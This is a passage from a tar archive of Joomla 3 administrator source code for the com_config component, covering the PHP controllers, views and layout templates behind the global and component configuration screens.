 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Remove Root Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerApplicationRemoveroot extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Method to remove root in global configuration.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken('get'))
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'));
			$this->app->redirect('index.php');
		}

		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
			$this->app->redirect('index.php');
		}

		// Initialise model.
		$model = new ConfigModelApplication;

		// Attempt to save the configuration and remove root.
		try
		{
			$model->removeroot();
		}
		catch (RuntimeException $e)
		{
			// Save failed, go back to the screen and display a notice.
			$this->app->enqueueMessage(JText::sprintf('JERROR_SAVE_FAILED', $e->getMessage()), 'error');
			$this->app->redirect(JRoute::_('index.php', false));
		}

		// Set the redirect based on the task.
		$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'));
		$this->app->redirect(JRoute::_('index.php', false));
	}
}
com_config/controller/application/display.php000060400000001046152455305270015520 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base Display Controller
 *
 * @since  3.2
 * @note   Needed for front end view
 */
class ConfigControllerApplicationDisplay extends ConfigControllerDisplay
{
	/**
	 * Prefix for the view and model classes
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $prefix = 'Config';
}
com_config/controller/application/cancel.php000060400000001623152455305270015301 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cancel Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerApplicationCancel extends ConfigControllerCanceladmin
{
	/**
	 * Method to cancel global configuration.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin', 'com_config'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
			$this->app->redirect('index.php');
		}

		$this->context = 'com_config.config.global';

		$this->redirect = 'index.php?option=com_cpanel';

		parent::execute();
	}
}
com_config/controller/component/display.php000060400000001044152455305270015215 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base Display Controller
 *
 * @since  3.2
 * @note   Needed for front end view
 */
class ConfigControllerComponentDisplay extends ConfigControllerDisplay
{
	/**
	 * Prefix for the view and model classes
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $prefix = 'Config';
}
com_config/controller/component/cancel.php000060400000001354152455305270015001 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cancel Controller for global configuration components
 *
 * @since  3.2
 */
class ConfigControllerComponentCancel extends ConfigControllerCanceladmin
{
	/**
	 * Method to cancel global configuration component.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		$this->context = 'com_config.config.global';

		$this->component = $this->input->get('component');

		$this->redirect = 'index.php?option=' . $this->component;

		parent::execute();
	}
}
com_config/controller/component/save.php000060400000007710152455305270014514 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Save Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerComponentSave extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Method to save global configuration.
	 *
	 * @return  mixed  Calls $app->redirect()
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'), 'error');
			$this->app->redirect('index.php');
		}

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');

		$model  = new ConfigModelComponent;
		$form   = $model->getForm();
		$data   = $this->input->get('jform', array(), 'array');
		$id     = $this->input->getInt('id');
		$option = $this->input->get('component');
		$user   = JFactory::getUser();

		// Make sure com_joomlaupdate and com_privacy can only be accessed by SuperUser
		if (in_array(strtolower($option), array('com_joomlaupdate', 'com_privacy'))
			&& !JFactory::getUser()->authorise('core.admin'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');

			return;
		}

		// Check if the user is authorised to do this.
		if (!$user->authorise('core.admin', $option) && !$user->authorise('core.options', $option))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			$this->app->redirect('index.php');
		}

		// Remove the permissions rules data if user isn't allowed to edit them.
		if (!$user->authorise('core.admin', $option) && isset($data['params']) && isset($data['params']['rules']))
		{
			unset($data['params']['rules']);
		}

		$returnUri = $this->input->post->get('return', null, 'base64');

		$redirect = '';

		if (!empty($returnUri))
		{
			$redirect = '&return=' . urlencode($returnUri);
		}

		// Validate the posted data.
		$return = $model->validate($form, $data);

		// Check for validation errors.
		if ($return === false)
		{
			/*
			 * The validate method enqueued all messages for us, so we just need to redirect back.
			 */

			// Save the data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Redirect back to the edit screen.
			$this->app->redirect(JRoute::_('index.php?option=com_config&view=component&component=' . $option . $redirect, false));
		}

		// Attempt to save the configuration.
		$data = array(
			'params' => $return,
			'id'     => $id,
			'option' => $option
		);

		try
		{
			$model->save($data);
		}
		catch (RuntimeException $e)
		{
			// Save the data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Save failed, go back to the screen and display a notice.
			$this->app->enqueueMessage(JText::sprintf('JERROR_SAVE_FAILED', $e->getMessage()), 'error');
			$this->app->redirect(JRoute::_('index.php?option=com_config&view=component&component=' . $option . $redirect, false));
		}

		// Set the redirect based on the task.
		switch ($this->options[3])
		{
			case 'apply':
				$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'), 'message');
				$this->app->redirect(JRoute::_('index.php?option=com_config&view=component&component=' . $option . $redirect, false));

				break;

			case 'save':
				$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'), 'message');
			default:
				$redirect = 'index.php?option=' . $option;

				if (!empty($returnUri))
				{
					$redirect = base64_decode($returnUri);
				}

				// Don't redirect to an external URL.
				if (!JUri::isInternal($redirect))
				{
					$redirect = JUri::base();
				}

				$this->app->redirect(JRoute::_($redirect, false));

				break;
		}

		return true;
	}
}
com_config/controllers/application.php000060400000004611152455305270014237 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Controller for global configuration
 *
 * @since       1.5
 * @deprecated  4.0
 */
class ConfigControllerApplication extends JControllerLegacy
{
	/**
	 * Class Constructor
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Map the apply task to the save method.
		$this->registerTask('apply', 'save');
	}

	/**
	 * Method to save the configuration.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use ConfigControllerApplicationSave instead.
	 */
	public function save()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use ConfigControllerApplicationSave instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$controller = new ConfigControllerApplicationSave;

		return $controller->execute();
	}

	/**
	 * Cancel operation.
	 *
	 * @return  boolean  True if successful; false otherwise.
	 *
	 * @deprecated  4.0  Use ConfigControllerApplicationCancel instead.
	 */
	public function cancel()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use ConfigControllerApplicationCancel instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$controller = new ConfigControllerApplicationCancel;

		return $controller->execute();
	}

	/**
	 * Method to remove the root property from the configuration.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use ConfigControllerApplicationRemoveroot instead.
	 */
	public function removeroot()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use ConfigControllerApplicationRemoveroot instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$controller = new ConfigControllerApplicationRemoveroot;

		return $controller->execute();
	}
}
com_config/controllers/component.php000060400000003374152455305270013743 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Note: this view is intended only to be opened in a popup
 *
 * @since       1.5
 * @deprecated  4.0
 */
class ConfigControllerComponent extends JControllerLegacy
{
	/**
	 * Class Constructor
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Map the apply task to the save method.
		$this->registerTask('apply', 'save');
	}

	/**
	 * Cancel operation
	 *
	 * @return  void
	 *
	 * @since   3.0
	 * @deprecated  4.0  Use ConfigControllerComponentCancel instead.
	 */
	public function cancel()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use ConfigControllerComponentCancel instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$controller = new ConfigControllerComponentCancel;

		$controller->execute();
	}

	/**
	 * Save the configuration.
	 *
	 * @return  boolean  True if successful; false otherwise.
	 *
	 * @deprecated  4.0  Use ConfigControllerComponentSave instead.
	 */
	public function save()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use ConfigControllerComponentSave instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$controller = new ConfigControllerComponentSave;

		return $controller->execute();
	}
}
com_config/view/application/html.php000060400000004125152455305270013607 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View for the global configuration
 *
 * @since  3.2
 */
class ConfigViewApplicationHtml extends ConfigViewCmsHtml
{
	public $state;

	public $form;

	public $data;

	/**
	 * Method to display the view.
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		$form = null;
		$data = null;

		try
		{
			// Load Form and Data
			$form = $this->model->getForm();
			$data = $this->model->getData();
			$user = JFactory::getUser();
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		// Bind data
		if ($form && $data)
		{
			$form->bind($data);
		}

		// Get the params for com_users.
		$usersParams = JComponentHelper::getParams('com_users');

		// Get the params for com_media.
		$mediaParams = JComponentHelper::getParams('com_media');

		// Load settings for the FTP layer.
		$ftp = JClientHelper::setCredentialsFromRequest('ftp');

		$this->form = &$form;
		$this->data = &$data;
		$this->ftp = &$ftp;
		$this->usersParams = &$usersParams;
		$this->mediaParams = &$mediaParams;

		$this->components = ConfigHelperConfig::getComponentsWithConfig();
		ConfigHelperConfig::loadLanguageForComponents($this->components);

		$this->userIsSuperAdmin = $user->authorise('core.admin');

		$this->addToolbar();

		return parent::render();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since	3.2
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_CONFIG_GLOBAL_CONFIGURATION'), 'equalizer config');
		JToolbarHelper::apply('config.save.application.apply');
		JToolbarHelper::save('config.save.application.save');
		JToolbarHelper::divider();
		JToolbarHelper::cancel('config.cancel.application');
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_SITE_GLOBAL_CONFIGURATION');
	}
}
com_config/view/application/tmpl/default_permissions.php000060400000001015152455305270017671 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name        = JText::_('COM_CONFIG_PERMISSION_SETTINGS');
$this->description = '';
$this->fieldsname  = 'permissions';
$this->formclass   = 'form-vertical';
$this->showlabel   = false;
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_proxy.php000060400000000637152455305270016510 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_PROXY_SETTINGS');
$this->fieldsname = 'proxy';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_ftplogin.php000060400000002154152455305270017145 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset title="<?php echo JText::_('COM_CONFIG_FTP_DETAILS'); ?>" class="form-horizontal">
	<legend><?php echo JText::_('COM_CONFIG_FTP_DETAILS'); ?></legend>
	<?php echo JText::_('COM_CONFIG_FTP_DETAILS_TIP'); ?>
	<?php if ($this->ftp instanceof Exception) : ?>
		<p><?php echo JText::_($this->ftp->message); ?></p>
	<?php endif; ?>
	<div class="control-group">
		<div class="control-label"><label for="username"><?php echo JText::_('JGLOBAL_USERNAME'); ?></label></div>
		<div class="controls">
			<input type="text" id="username" name="username" class="input_box" size="70" value="" />
		</div>
	</div>
	<div class="control-group">
		<div class="control-label"><?php echo JText::_('JGLOBAL_PASSWORD'); ?></div>
		<div class="controls">
			<input type="password" id="password" name="password" class="input_box" size="70" value="" />
		</div>
	</div>
</fieldset>
com_config/view/application/tmpl/default_mail.php000060400000002360152455305270016244 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('jquery.token');
JHtml::_('script', 'system/sendtestmail.js', array('version' => 'auto', 'relative' => true));

// Load JavaScript message titles
JText::script('ERROR');
JText::script('WARNING');
JText::script('NOTICE');
JText::script('MESSAGE');

// Add strings for JavaScript error translations.
JText::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
JText::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
JText::script('JLIB_JS_AJAX_ERROR_OTHER');
JText::script('JLIB_JS_AJAX_ERROR_PARSE');
JText::script('JLIB_JS_AJAX_ERROR_TIMEOUT');

// Ajax request data.
$ajaxUri = JRoute::_('index.php?option=com_config&task=config.sendtestmail.application&format=json');

$this->name = JText::_('COM_CONFIG_MAIL_SETTINGS');
$this->fieldsname = 'mail';
echo JLayoutHelper::render('joomla.content.options_default', $this);

echo '<button class="btn btn-small" data-ajaxuri="' . $ajaxUri . '"  type="button" id="sendtestmail">
		<span>' . JText::_('COM_CONFIG_SENDMAIL_ACTION_BUTTON') . '</span>
	</button>';
com_config/view/application/tmpl/default_ftp.php000060400000000633152455305270016114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_FTP_SETTINGS');
$this->fieldsname = 'ftp';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_cookie.php000060400000000641152455305270016573 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_COOKIE_SETTINGS');
$this->fieldsname = 'cookie';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_navigation.php000060400000001614152455305270017462 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="nav nav-list">
	<?php if ($this->userIsSuperAdmin) : ?>
		<li class="nav-header"><?php echo JText::_('COM_CONFIG_SYSTEM'); ?></li>
		<li class="active">
			<a href="index.php?option=com_config"><?php echo JText::_('COM_CONFIG_GLOBAL_CONFIGURATION'); ?></a>
		</li>
		<li class="divider"></li>
	<?php endif; ?>
	<li class="nav-header"><?php echo JText::_('COM_CONFIG_COMPONENT_FIELDSET_LABEL'); ?></li>
	<?php foreach ($this->components as $component) : ?>
		<li>
			<a href="index.php?option=com_config&view=component&component=<?php echo $component; ?>"><?php echo JText::_($component); ?></a>
		</li>
	<?php endforeach; ?>
</ul>
com_config/view/application/tmpl/default_server.php000060400000000641152455305270016630 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_SERVER_SETTINGS');
$this->fieldsname = 'server';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_database.php000060400000000645152455305270017072 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_DATABASE_SETTINGS');
$this->fieldsname = 'database';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_filters.php000060400000000743152455305270016775 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_TEXT_FILTER_SETTINGS');
$this->fieldsname = 'filters';
$this->description = JText::_('COM_CONFIG_TEXT_FILTERS_DESC');
echo JLayoutHelper::render('joomla.content.text_filters', $this);
com_config/view/application/tmpl/default_cache.php000060400000000637152455305270016372 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_CACHE_SETTINGS');
$this->fieldsname = 'cache';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_session.php000060400000000643152455305270017007 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_SESSION_SETTINGS');
$this->fieldsname = 'session';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_seo.php000060400000000633152455305270016111 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_SEO_SETTINGS');
$this->fieldsname = 'seo';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_debug.php000060400000000637152455305270016415 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_DEBUG_SETTINGS');
$this->fieldsname = 'debug';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_metadata.php000060400000000645152455305270017106 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_METADATA_SETTINGS');
$this->fieldsname = 'metadata';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_locale.php000060400000000643152455305270016563 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_LOCATION_SETTINGS');
$this->fieldsname = 'locale';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_site.php000060400000000635152455305270016271 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_SITE_SETTINGS');
$this->fieldsname = 'site';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default_system.php000060400000000641152455305270016646 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->name = JText::_('COM_CONFIG_SYSTEM_SETTINGS');
$this->fieldsname = 'system';
echo JLayoutHelper::render('joomla.content.options_default', $this);
com_config/view/application/tmpl/default.xml000060400000000314152455305270015250 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_config/view/application/tmpl/default.php000060400000010312152455305270015236 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

// Load tooltips behavior
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');

// Load JS message titles
JText::script('ERROR');
JText::script('WARNING');
JText::script('NOTICE');
JText::script('MESSAGE');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task === "config.cancel.application" || document.formvalidator.isValid(document.getElementById("application-form")))
		{
			jQuery("#permissions-sliders select").attr("disabled", "disabled");
			Joomla.submitform(task, document.getElementById("application-form"));
		}
	};
');
?>

<form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" id="application-form" method="post" name="adminForm" class="form-validate">
	<div class="row-fluid">
		<!-- Begin Sidebar -->
		<div id="sidebar" class="span2">
			<div class="sidebar-nav">
				<?php echo $this->loadTemplate('navigation'); ?>
				<?php
				// Display the submenu position modules
				$this->submenumodules = JModuleHelper::getModules('submenu');
				foreach ($this->submenumodules as $submenumodule)
				{
					$output = JModuleHelper::renderModule($submenumodule);
					$params = new Registry($submenumodule->params);
					echo $output;
				}
				?>
			</div>
		</div>
		<!-- End Sidebar -->
		<!-- Begin Content -->
		<div class="span10">
			<ul class="nav nav-tabs">
				<li class="active"><a href="#page-site" data-toggle="tab"><?php echo JText::_('JSITE'); ?></a></li>
				<li><a href="#page-system" data-toggle="tab"><?php echo JText::_('COM_CONFIG_SYSTEM'); ?></a></li>
				<li><a href="#page-server" data-toggle="tab"><?php echo JText::_('COM_CONFIG_SERVER'); ?></a></li>
				<li><a href="#page-filters" data-toggle="tab"><?php echo JText::_('COM_CONFIG_TEXT_FILTERS'); ?></a></li>
				<?php if ($this->ftp) : ?>
					<li><a href="#page-ftp" data-toggle="tab"><?php echo JText::_('COM_CONFIG_FTP_SETTINGS'); ?></a></li>
				<?php endif; ?>
				<li><a href="#page-permissions" data-toggle="tab"><?php echo JText::_('COM_CONFIG_PERMISSIONS'); ?></a></li>
			</ul>
			<div id="config-document" class="tab-content">
				<div id="page-site" class="tab-pane active">
					<div class="row-fluid">
						<div class="span6">
							<?php echo $this->loadTemplate('site'); ?>
							<?php echo $this->loadTemplate('metadata'); ?>
						</div>
						<div class="span6">
							<?php echo $this->loadTemplate('seo'); ?>
							<?php echo $this->loadTemplate('cookie'); ?>
						</div>
					</div>
				</div>
				<div id="page-system" class="tab-pane">
					<div class="row-fluid">
						<div class="span12">
							<?php echo $this->loadTemplate('system'); ?>
							<?php echo $this->loadTemplate('debug'); ?>
							<?php echo $this->loadTemplate('cache'); ?>
							<?php echo $this->loadTemplate('session'); ?>
						</div>
					</div>
				</div>
				<div id="page-server" class="tab-pane">
					<div class="row-fluid">
						<div class="span6">
							<?php echo $this->loadTemplate('server'); ?>
							<?php echo $this->loadTemplate('locale'); ?>
							<?php echo $this->loadTemplate('ftp'); ?>
							<?php echo $this->loadTemplate('proxy'); ?>
						</div>
						<div class="span6">
							<?php echo $this->loadTemplate('database'); ?>
							<?php echo $this->loadTemplate('mail'); ?>
						</div>
					</div>
				</div>
				<div id="page-filters" class="tab-pane">
					<div class="row-fluid">
						<?php echo $this->loadTemplate('filters'); ?>
					</div>
				</div>
				<?php if ($this->ftp) : ?>
					<div id="page-ftp" class="tab-pane">
						<?php echo $this->loadTemplate('ftplogin'); ?>
					</div>
				<?php endif; ?>
				<div id="page-permissions" class="tab-pane">
					<div class="row-fluid">
						<?php echo $this->loadTemplate('permissions'); ?>
					</div>
				</div>
				<input type="hidden" name="task" value="" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
		<!-- End Content -->
	</div>
</form>
com_config/view/application/json.php000060400000002654152455305270013621 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View for the component configuration
 *
 * @since  3.2
 */
class ConfigViewApplicationJson extends ConfigViewCmsJson
{
	public $state;

	public $data;

	/**
	 * Display the view
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		try
		{
			$this->data = $this->model->getData();
			$user = JFactory::getUser();
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		$this->userIsSuperAdmin = $user->authorise('core.admin');

		// Required data
		$requiredData = array(
			'sitename'            => null,
			'offline'             => null,
			'access'              => null,
			'list_limit'          => null,
			'MetaDesc'            => null,
			'MetaKeys'            => null,
			'MetaRights'          => null,
			'sef'                 => null,
			'sitename_pagetitles' => null,
			'debug'               => null,
			'debug_lang'          => null,
			'error_reporting'     => null,
			'mailfrom'            => null,
			'fromname'            => null
		);

		$this->data = array_intersect_key($this->data, $requiredData);

		return json_encode($this->data);
	}
}
com_config/view/component/tmpl/default_navigation.php000060400000001777152455305270017173 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
